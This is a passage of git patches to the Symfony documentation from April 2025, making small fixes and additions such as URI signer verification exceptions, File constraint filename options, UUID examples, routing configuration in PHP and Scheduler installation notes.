+If you need to know the reason why a signed URI is invalid, you can use the
+``verify()`` method which throws exceptions on failure::
+
+    use Symfony\Component\HttpFoundation\Exception\ExpiredSignedUriException;
+    use Symfony\Component\HttpFoundation\Exception\UnsignedUriException;
+    use Symfony\Component\HttpFoundation\Exception\UnverifiedSignedUriException;
+
+    // ...
+
+    try {
+        $uriSigner->verify($uri); // $uri can be a string or Request object
+
+        // the URI is valid
+    } catch (UnsignedUriException) {
+        // the URI isn't signed
+    } catch (UnverifiedSignedUriException) {
+        // the URI is signed but the signature is invalid
+    } catch (ExpiredSignedUriException) {
+        // the URI is signed but expired
+    }
+
 .. versionadded:: 7.3
 
-    Starting with Symfony 7.3, signed URI hashes no longer include the ``/`` or
-    ``+`` characters, as these may cause issues with certain clients.
+    The ``verify()`` method was introduced in Symfony 7.3.
 
 Troubleshooting
 ---------------

From e7613b0e2af243005b9fb66c9d696f74005a645a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 19 Apr 2025 19:03:15 +0200
Subject: [PATCH 6920/7107] [Validator] Add filenameCharset and
 filenameCountUnit options to File constraint

---
 reference/constraints/File.rst | 54 ++++++++++++++++++++++++++++++++++
 1 file changed, 54 insertions(+)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 495c19f9cbe..62efa6cc08e 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -274,6 +274,31 @@ You can find a list of existing mime types on the `IANA website`_.
 If set, the validator will check that the filename of the underlying file
 doesn't exceed a certain length.
 
+``filenameCountUnit``
+~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``File::FILENAME_COUNT_BYTES``
+
+The character count unit to use for the filename max length check.
+By default :phpfunction:`strlen` is used, which counts the length of the string in bytes.
+
+Can be one of the following constants of the
+:class:`Symfony\\Component\\Validator\\Constraints\\File` class:
+
+* ``FILENAME_COUNT_BYTES``: Uses :phpfunction:`strlen` counting the length of the
+  string in bytes.
+* ``FILENAME_COUNT_CODEPOINTS``: Uses :phpfunction:`mb_strlen` counting the length
+  of the string in Unicode code points. Simple (multibyte) Unicode characters count
+  as 1 character, while for example ZWJ sequences of composed emojis count as
+  multiple characters.
+* ``FILENAME_COUNT_GRAPHEMES``: Uses :phpfunction:`grapheme_strlen` counting the
+  length of the string in graphemes, i.e. even emojis and ZWJ sequences of composed
+  emojis count as 1 character.
+
+.. versionadded:: 7.3
+
+    The ``filenameCountUnit`` option was introduced in Symfony 7.3.
+
 ``filenameTooLongMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -290,6 +315,35 @@ Parameter                       Description
 ``{{ filename_max_length }}``   Maximum number of characters allowed
 ==============================  ==============================================================
 
+``filenameCharset``
+~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string``  **default**: ``null``
+
+The charset to be used when computing value's filename max length with the
+:phpfunction:`mb_check_encoding` and :phpfunction:`mb_strlen`
+PHP functions.
+
+``filenameCharsetMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This filename does not match the expected charset.``
+
+The message that will be shown if the value is not using the given `filenameCharsetMessage`_.
+
+You can use the following parameters in this message:
+
+=================  ============================================================
+Parameter          Description
+=================  ============================================================
+``{{ charset }}``  The expected charset
+``{{ name }}``     The current (invalid) value
+=================  ============================================================
+
+.. versionadded:: 7.3
+
+    The ``filenameCharset`` and ``filenameCharsetMessage`` options were introduced in Symfony 7.3.
+
 ``extensionsMessage``
 ~~~~~~~~~~~~~~~~~~~~~
 

From 76c4720d47de37c43d0a87cc1c61fe8d1216605c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Apr 2025 17:17:11 +0200
Subject: [PATCH 6921/7107] Minor tweaks

---
 service_container/alias_private.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 84632c1d89b..22bf649d861 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -181,8 +181,8 @@ This means that when using the container directly, you can access the
             # ...
             app.mailer: '@App\Mail\PhpMailer'
 
-The ``#[AsAlias]`` attribute also support per-environment configuration
-via the ``when`` argument::
+The ``#[AsAlias]`` attribute can also be limited to one or more specific
+:ref:`config environments <configuration-environments>` using the ``when`` argument::
 
     // src/Mail/PhpMailer.php
     namespace App\Mail;
@@ -196,11 +196,16 @@ via the ``when`` argument::
         // ...
     }
 
-You can pass either a string or an array of strings to the ``when`` argument.
+    // pass an array to apply it in multiple config environments
+    #[AsAlias(id: 'app.mailer', when: ['dev', 'test'])]
+    class PhpMailer
+    {
+        // ...
+    }
 
 .. versionadded:: 7.3
 
-    The ``when`` argument on the ``#[AsAlias]`` attribute was introduced in Symfony 7.3.
+    The ``when`` argument of the ``#[AsAlias]`` attribute was introduced in Symfony 7.3.
 
 .. tip::
 

From 6350e2ea71430fa106bd7873a4c384153fab134e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Apr 2025 17:49:02 +0200
Subject: [PATCH 6922/7107] Minor tweaks

---
 routing.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index 672f331291b..663e8518504 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2837,13 +2837,14 @@ If you need to know the reason why a signed URI is invalid, you can use the
 
 .. tip::
 
-    If ``symfony/clock`` is installed, it is used for creating and verifying the
-    expiration. This allows you to :ref:`mock the current time in your tests
+    If ``symfony/clock`` is installed, it will be used to create and verify
+    expirations. This allows you to :ref:`mock the current time in your tests
     <clock_writing-tests>`.
 
 .. versionadded:: 7.3
 
-    ``symfony/clock`` support was added to ``UriSigner`` in Symfony 7.3.
+    Support for :doc:`Symfony Clock </components/clock>` in ``UriSigner`` was
+    introduced in Symfony 7.3.
 
 Troubleshooting
 ---------------

From a5308819ac679da412d48acbb3d45f245b23f1e3 Mon Sep 17 00:00:00 2001
From: aurac <aurelienadam96@gmail.com>
Date: Wed, 23 Apr 2025 19:38:45 +0200
Subject: [PATCH 6923/7107] fix(doctrine): default configuration

---
 reference/configuration/doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 8a1062a54ae..46877e9f84c 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -176,7 +176,7 @@ that the ORM resolves to:
 
     doctrine:
         orm:
-            auto_mapping: true
+            auto_mapping: false
             # the standard distribution overrides this to be true in debug, false otherwise
             auto_generate_proxy_classes: false
             proxy_namespace: Proxies

From 3abba12e6fe84c031dcae54569f35e8225775b76 Mon Sep 17 00:00:00 2001
From: Hmache Abdellah <11814824+Hmache@users.noreply.github.com>
Date: Sun, 20 Apr 2025 23:31:32 +0200
Subject: [PATCH 6924/7107] [uid] Fix Uuid::v8() usage example to show it
 requires a UUID string

This update corrects the usage example of Uuid::v8() to prevent misuse and confusion
---
 components/uid.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index b286329151d..2fa04251f90 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -140,7 +140,7 @@ of the UUID value is specific to each implementation and no format should be ass
     use Symfony\Component\Uid\Uuid;
 
     // $uuid is an instance of Symfony\Component\Uid\UuidV8
-    $uuid = Uuid::v8();
+    $uuid = Uuid::v8('d9e7a184-5d5b-11ea-a62a-3499710062d0');
 
 .. versionadded:: 6.2
 

From 4464d375341f6d333fff2dd91e2b48aeb3589591 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Apr 2025 08:57:36 +0200
Subject: [PATCH 6925/7107] Tweaks

---
 components/uid.rst | 36 +++++++++++++++++++-----------------
 1 file changed, 19 insertions(+), 17 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 2fa04251f90..b031348f85a 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -32,13 +32,13 @@ to create each type of UUID:
 **UUID v1** (time-based)
 
 Generates the UUID using a timestamp and the MAC address of your device
-(`read UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__).
+(`read the UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__).
 Both are obtained automatically, so you don't have to pass any constructor argument::
 
     use Symfony\Component\Uid\Uuid;
 
-    // $uuid is an instance of Symfony\Component\Uid\UuidV1
     $uuid = Uuid::v1();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV1
 
 .. tip::
 
@@ -48,7 +48,7 @@ Both are obtained automatically, so you don't have to pass any constructor argum
 **UUID v2** (DCE security)
 
 Similar to UUIDv1 but with a very high likelihood of ID collision
-(`read UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__).
+(`read the UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__).
 It's part of the authentication mechanism of DCE (Distributed Computing Environment)
 and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it.
 This UUID variant is **not implemented** by the Uid component.
@@ -56,7 +56,7 @@ This UUID variant is **not implemented** by the Uid component.
 **UUID v3** (name-based, MD5)
 
 Generates UUIDs from names that belong, and are unique within, some given namespace
-(`read UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__).
+(`read the UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__).
 This variant is useful to generate deterministic UUIDs from arbitrary strings.
 It works by populating the UUID contents with the``md5`` hash of concatenating
 the namespace and the name::
@@ -69,8 +69,8 @@ the namespace and the name::
     // $namespace = Uuid::v4();
 
     // $name can be any arbitrary string
-    // $uuid is an instance of Symfony\Component\Uid\UuidV3
     $uuid = Uuid::v3($namespace, $name);
+    // $uuid is an instance of Symfony\Component\Uid\UuidV3
 
 These are the default namespaces defined by the standard:
 
@@ -81,20 +81,20 @@ These are the default namespaces defined by the standard:
 
 **UUID v4** (random)
 
-Generates a random UUID (`read UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__).
+Generates a random UUID (`read the UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__).
 Because of its randomness, it ensures uniqueness across distributed systems
 without the need for a central coordinating entity. It's privacy-friendly
 because it doesn't contain any information about where and when it was generated::
 
     use Symfony\Component\Uid\Uuid;
 
-    // $uuid is an instance of Symfony\Component\Uid\UuidV4
     $uuid = Uuid::v4();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV4
 
 **UUID v5** (name-based, SHA-1)
 
 It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of
-``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
+``md5`` to hash the given namespace and name (`read the UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
 This makes it more secure and less prone to hash collisions.
 
 .. _uid-uuid-v6:
@@ -103,12 +103,12 @@ This makes it more secure and less prone to hash collisions.
 
 It rearranges the time-based fields of the UUIDv1 to make it lexicographically
 sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
-(`read UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__)::
+(`read the UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__)::
 
     use Symfony\Component\Uid\Uuid;
 
-    // $uuid is an instance of Symfony\Component\Uid\UuidV6
     $uuid = Uuid::v6();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
 .. tip::
 
@@ -121,26 +121,28 @@ sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
 
 Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp
 source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded)
-(`read UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__).
+(`read the UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__).
 It's recommended to use this version over UUIDv1 and UUIDv6 because it provides
 better entropy (and a more strict chronological order of UUID generation)::
 
     use Symfony\Component\Uid\Uuid;
 
-    // $uuid is an instance of Symfony\Component\Uid\UuidV7
     $uuid = Uuid::v7();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV7
 
 **UUID v8** (custom)
 
-Provides an RFC-compatible format for experimental or vendor-specific use cases
-(`read UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__).
-The only requirement is to set the variant and version bits of the UUID. The rest
-of the UUID value is specific to each implementation and no format should be assumed::
+Provides an RFC-compatible format intended for experimental or vendor-specific use cases
+(`read the UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__).
+You must generate the UUID value yourself. The only requirement is to set the
+variant and version bits of the UUID correctly. The rest of the UUID content is
+implementation-specific, and no particular format should be assumed::
 
     use Symfony\Component\Uid\Uuid;
 
-    // $uuid is an instance of Symfony\Component\Uid\UuidV8
+    // pass your custom UUID value as the argument
     $uuid = Uuid::v8('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+    // $uuid is an instance of Symfony\Component\Uid\UuidV8
 
 .. versionadded:: 6.2
 

From d8ac2923438cd19b28bc3a51577e5b505102eb64 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Thu, 24 Apr 2025 09:24:02 +0200
Subject: [PATCH 6926/7107] fix path to Panther web server router file

The path is used as an argument for the `php` binary which treats it
relative to the document root directory that is passed with the `-t`
option (in a typical Symfony application the document root directory
is `public` which is located in the same parent directory as the `tests`
directory).
---
 testing/end_to_end.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index 83d61b1e60f..80e970bd2cd 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -878,7 +878,7 @@ Then declare it as a router for Panther server in ``phpunit.xml.dist`` using the
         <!-- ... -->
         <php>
             <!-- ... -->
-            <server name="PANTHER_WEB_SERVER_ROUTER" value="./tests/router.php"/>
+            <server name="PANTHER_WEB_SERVER_ROUTER" value="../tests/router.php"/>
         </php>
     </phpunit>
 

From 9f7cc9d5d899a2afc46ca1be67f2242a21326168 Mon Sep 17 00:00:00 2001
From: Arnaud Thibaudet <athib.pro@gmail.com>
Date: Thu, 24 Apr 2025 10:17:29 +0200
Subject: [PATCH 6927/7107] Fix typo on parameter name

Signed-off-by: Arnaud Thibaudet <athib.pro@gmail.com>
---
 translation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index 86282090801..23949b7e67f 100644
--- a/translation.rst
+++ b/translation.rst
@@ -487,11 +487,11 @@ your application:
 
 .. code-block:: twig
 
-    {{ 'Application version: {version}'|trans }}
+    {{ 'Application version: {app_version}'|trans }}
     {# output: "Application version: 1.2.3" #}
 
     {# parameters passed to the message override global parameters #}
-    {{ 'Package version: {version}'|trans({'{version}': '2.3.4'}) }}
+    {{ 'Package version: {app_version}'|trans({'{app_version}': '2.3.4'}) }}
     # Displays "Package version: 2.3.4"
 
 Forcing the Translator Locale

From ce4cd4db8dc7154a63c9951f5a276b11f93cc29e Mon Sep 17 00:00:00 2001
From: Jorick Pepin <jorick.pepin@gmail.com>
Date: Thu, 24 Apr 2025 17:11:47 +0200
Subject: [PATCH 6928/7107] [BrowserKit] Fix `submitForm` behaviour

---
 components/browser_kit.rst | 2 +-
 testing.rst                | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index c744837d7b1..21ceaf5a095 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -147,7 +147,7 @@ field values, etc.) before submitting it::
     $crawler = $client->request('GET', 'https://github.com/login');
 
     // find the form with the 'Log in' button and submit it
-    // 'Log in' can be the text content, id, value or name of a <button> or <input type="submit">
+    // 'Log in' can be the text content, id or name of a <button> or <input type="submit">
     $client->submitForm('Log in');
 
     // the second optional argument lets you override the default form field values
diff --git a/testing.rst b/testing.rst
index f786a01a83e..559dad9229e 100644
--- a/testing.rst
+++ b/testing.rst
@@ -875,8 +875,8 @@ Use the ``submitForm()`` method to submit the form that contains the given butto
         'comment_form[content]' => '...',
     ]);
 
-The first argument of ``submitForm()`` is the text content, ``id``, ``value`` or
-``name`` of any ``<button>`` or ``<input type="submit">`` included in the form.
+The first argument of ``submitForm()`` is the text content, ``id`` or ``name``
+of any ``<button>`` or ``<input type="submit">`` included in the form.
 The second optional argument is used to override the default form field values.
 
 .. note::

From 4b2afd7fb77c88960044ed420d31e1d68811b997 Mon Sep 17 00:00:00 2001
From: DanielEScherzer <daniel.e.scherzer@gmail.com>
Date: Thu, 24 Apr 2025 18:26:25 -0700
Subject: [PATCH 6929/7107] core_team: fix a typo (poiting -> pointing)

---
 contributing/core_team.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/core_team.rst b/contributing/core_team.rst
index f895dcd00d8..7b3d667a14b 100644
--- a/contributing/core_team.rst
+++ b/contributing/core_team.rst
@@ -254,7 +254,7 @@ generate the CHANGELOG files when releasing new versions.
     #. A clone for their own contributions, which they use to push to their
        fork on GitHub. Clear out the push URL for the Symfony repository using
        ``git remote set-url --push origin dev://null`` (change ``origin``
-       to the Git remote poiting to the Symfony repository);
+       to the Git remote pointing to the Symfony repository);
     #. A clone for merging, which they use in combination with ``gh`` and
        allows them to push to the main repository.
 

From 7292c30bc9ac84a590cf7a63edb83a0a7419ab35 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Apr 2025 10:30:00 +0200
Subject: [PATCH 6930/7107] Tweaks

---
 mailer.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 034f9bdfe97..d368048aec8 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1093,13 +1093,17 @@ the email contents:
     <h1>Welcome {{ email.toName }}!</h1>
     {# ... #}
 
-By default this will create an attachment using the file path as filename:
+By default this will create an attachment using the file path as file name:
 ``Content-Disposition: inline; name="cid..."; filename="@images/logo.png"``.
-This behavior can be overridden by passing a name (the third argument):
+This behavior can be overridden by passing a custom file name as the third argument:
 
 .. code-block:: html+twig
 
-    <img src="{{ email.image('@images/logo.png', name: 'my-logo.png') }}" alt="My Logo">
+    <img src="{{ email.image('@images/logo.png', 'image/png', 'logo-acme.png') }}" alt="ACME Logo">
+
+.. versionadded:: 7.3
+
+    The third argument of ``email.image()`` was introduced in Symfony 7.3.
 
 .. _mailer-inline-css:
 

From b47463617dec7ad81e3d4ab6a4836a23f78764fc Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 25 Apr 2025 11:05:10 -0400
Subject: [PATCH 6931/7107] [Scheduler] add note about the recipe

---
 scheduler.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 1630fd8dada..2126801071c 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -27,10 +27,10 @@ install the scheduler component:
 
     $ composer require symfony/scheduler
 
-.. tip::
+.. note::
 
-    Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:schedule``
-    to generate a basic schedule, that you can customize to create your own Scheduler.
+    The Symfony Scheduler Flex recipe creates an initial schedule that's ready
+    to start adding your tasks.
 
 Symfony Scheduler Basics
 ------------------------
@@ -1007,7 +1007,6 @@ When using the ``RedispatchMessage``, Symfony will attach a
 :class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp` to the message,
 helping you identify those messages when needed.
 
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`Deploying to Production`: https://symfony.com/doc/current/messenger.html#deploying-to-production
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron

From 969ba97fc48192a21a1241508f2e19894f971a37 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Apr 2025 17:40:43 +0200
Subject: [PATCH 6932/7107] [Validator] Fix minor syntax issue

---
 reference/constraints/Twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Twig.rst b/reference/constraints/Twig.rst
index 8435c191855..e38b4507d7a 100644
--- a/reference/constraints/Twig.rst
+++ b/reference/constraints/Twig.rst
@@ -24,7 +24,7 @@ Basic Usage
 -----------
 
 Apply the ``Twig`` constraint to validate the contents of any property or the
-returned value of any method:
+returned value of any method::
 
     use Symfony\Bridge\Twig\Validator\Constraints\Twig;
 

From 49a3f18ecc10cff61a96d05037673966da867fe0 Mon Sep 17 00:00:00 2001
From: Aubert Jordan <jordan@les-tilleuls.coop>
Date: Mon, 28 Apr 2025 10:57:19 +0200
Subject: [PATCH 6933/7107] Update custom_normalizer.rst

Update `normalize` signature according to `NormalizerInterface`
---
 serializer/custom_normalizer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index b357f3f91ad..eafabde50cb 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -36,9 +36,9 @@ normalization process::
         ) {
         }
 
-        public function normalize(mixed $object, ?string $format = null, array $context = []): array
+        public function normalize(mixed $data, ?string $format = null, array $context = []): array
         {
-            $data = $this->normalizer->normalize($object, $format, $context);
+            $data = $this->normalizer->normalize($data, $format, $context);
 
             // Here, add, edit, or delete some data:
             $data['href']['self'] = $this->router->generate('topic_show', [

From 40a99acbbeba9f4aa3b2f09821c52443446aa8a2 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 28 Apr 2025 12:10:49 +0200
Subject: [PATCH 6934/7107] Add PHP config support for routing

---
 configuration/micro_kernel_trait.rst | 10 ++++++++--
 controller/error_pages.rst           | 12 +++++++++---
 2 files changed, 17 insertions(+), 5 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index f919b1f7a74..c372d876651 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -297,8 +297,8 @@ Now it looks like this::
         {
             // import the WebProfilerRoutes, only if the bundle is enabled
             if (isset($this->bundles['WebProfilerBundle'])) {
-                $routes->import('@WebProfilerBundle/Resources/config/routing/wdt.xml')->prefix('/_wdt');
-                $routes->import('@WebProfilerBundle/Resources/config/routing/profiler.xml')->prefix('/_profiler');
+                $routes->import('@WebProfilerBundle/Resources/config/routing/wdt.php', 'php')->prefix('/_wdt');
+                $routes->import('@WebProfilerBundle/Resources/config/routing/profiler.php', 'php')->prefix('/_profiler');
             }
 
             // load the routes defined as PHP attributes
@@ -310,6 +310,12 @@ Now it looks like this::
         // to override the default locations for these directories
     }
 
+
+.. versionadded:: 7.3
+
+    The ``wdt.php`` and ``profiler.php`` files were introduced in Symfony 7.3.
+    Previously, you had to import ``wdt.xml`` and ``profiler.xml``
+
 Before continuing, run this command to add support for the new dependencies:
 
 .. code-block:: terminal
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 96856764ece..06087837437 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -154,7 +154,8 @@ automatically when installing ``symfony/framework-bundle``):
         # config/routes/framework.yaml
         when@dev:
             _errors:
-                resource: '@FrameworkBundle/Resources/config/routing/errors.xml'
+                resource: '@FrameworkBundle/Resources/config/routing/errors.php'
+                type:     php
                 prefix:   /_error
 
     .. code-block:: xml
@@ -167,7 +168,7 @@ automatically when installing ``symfony/framework-bundle``):
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
             <when env="dev">
-                <import resource="@FrameworkBundle/Resources/config/routing/errors.xml" prefix="/_error"/>
+                <import resource="@FrameworkBundle/Resources/config/routing/errors.php" type="php" prefix="/_error"/>
             </when>
         </routes>
 
@@ -178,7 +179,7 @@ automatically when installing ``symfony/framework-bundle``):
 
         return function (RoutingConfigurator $routes): void {
             if ('dev' === $routes->env()) {
-                $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml')
+                $routes->import('@FrameworkBundle/Resources/config/routing/errors.php', 'php')
                     ->prefix('/_error')
                 ;
             }
@@ -191,6 +192,11 @@ need to replace ``http://localhost/`` by the host used in your local setup):
 * ``http://localhost/_error/{statusCode}`` for HTML
 * ``http://localhost/_error/{statusCode}.{format}`` for any other format
 
+.. versionadded:: 7.3
+
+    The ``errors.php`` file was introduced in Symfony 7.3.
+    Previously, you had to import ``errors.xml``
+
 .. _overriding-non-html-error-output:
 
 Overriding Error output for non-HTML formats

From 82bc8577edf015dc868e6620bfe49cb064aae4fd Mon Sep 17 00:00:00 2001
From: Kevin <34477826+kkevindev@users.noreply.github.com>
Date: Mon, 28 Apr 2025 12:55:07 +0200
Subject: [PATCH 6935/7107] Added Progress Indicator link to Console Helpers
 overview page.

---
 components/console/helpers/map.rst.inc | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/console/helpers/map.rst.inc b/components/console/helpers/map.rst.inc
index 8f9ce0ca0f3..41f0667c40d 100644
--- a/components/console/helpers/map.rst.inc
+++ b/components/console/helpers/map.rst.inc
@@ -1,6 +1,7 @@
 * :doc:`/components/console/helpers/formatterhelper`
 * :doc:`/components/console/helpers/processhelper`
 * :doc:`/components/console/helpers/progressbar`
+* :doc:`/components/console/helpers/progressindicator`
 * :doc:`/components/console/helpers/questionhelper`
 * :doc:`/components/console/helpers/table`
 * :doc:`/components/console/helpers/debug_formatter`

From b430e186c1b226a3ac78dfd3caa056d7c0ebe6e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Apr 2025 08:05:22 +0200
Subject: [PATCH 6936/7107] Minor tweaks

---
 scheduler.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 2126801071c..608717c9b8e 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -20,8 +20,7 @@ stack Symfony application.
 Installation
 ------------
 
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the scheduler component:
+Run this command to install the scheduler component:
 
 .. code-block:: terminal
 
@@ -29,8 +28,8 @@ install the scheduler component:
 
 .. note::
 
-    The Symfony Scheduler Flex recipe creates an initial schedule that's ready
-    to start adding your tasks.
+    In applications using :ref:`Symfony Flex <symfony-flex>`, installing the component
+    also creates an initial schedule that's ready to start adding your tasks.
 
 Symfony Scheduler Basics
 ------------------------

From 34df2c88cc8ee9e78b197434929f29b3243493a2 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Tue, 29 Apr 2025 14:28:50 +0200
Subject: [PATCH 6937/7107] [Messenger] Fix instance variable declaration

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 6fbfd36385d..bf5a8180adc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2548,7 +2548,7 @@ using the ``DispatchAfterCurrentBusMiddleware`` and adding a
     {
         public function __construct(
             private MailerInterface $mailer,
-            EntityManagerInterface $em,
+            private EntityManagerInterface $em,
         ) {
         }
 

From a2e253932e35ec9504f1b76c365cb0e273bb658a Mon Sep 17 00:00:00 2001
From: gertdepagter <gertdepagter@sofios.nl>
Date: Wed, 16 Apr 2025 14:50:05 +0200
Subject: [PATCH 6938/7107] Add documentation to use `AsTaggedItem` for value
 resolver priority/name

---
 controller/value_resolver.rst | 18 ++++++++++++++++--
 1 file changed, 16 insertions(+), 2 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 08ba5f3eb72..48d0ba17bdb 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -322,7 +322,7 @@ this argument) or an array with the resolved value(s). Usually arguments are
 resolved as a single value, but variadic arguments require resolving multiple
 values. That's why you must always return an array, even for single values::
 
-    // src/ValueResolver/IdentifierValueResolver.php
+    // src/ValueResolver/BookingIdValueResolver.php
     namespace App\ValueResolver;
 
     use App\IdentifierInterface;
@@ -374,6 +374,20 @@ but you can set it yourself to change its ``priority`` or ``name`` attributes.
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/ValueResolver/BookingIdValueResolver.php
+        namespace App\ValueResolver;
+
+        use Symfony\Component\DependencyInjection\Attribute\AsTaggedItem;
+        use Symfony\Component\HttpKernel\Controller\ValueResolverInterface;
+
+         #[AsTaggedItem(name: 'booking_id', priority: 150)]
+        class BookingIdValueResolver implements ValueResolverInterface
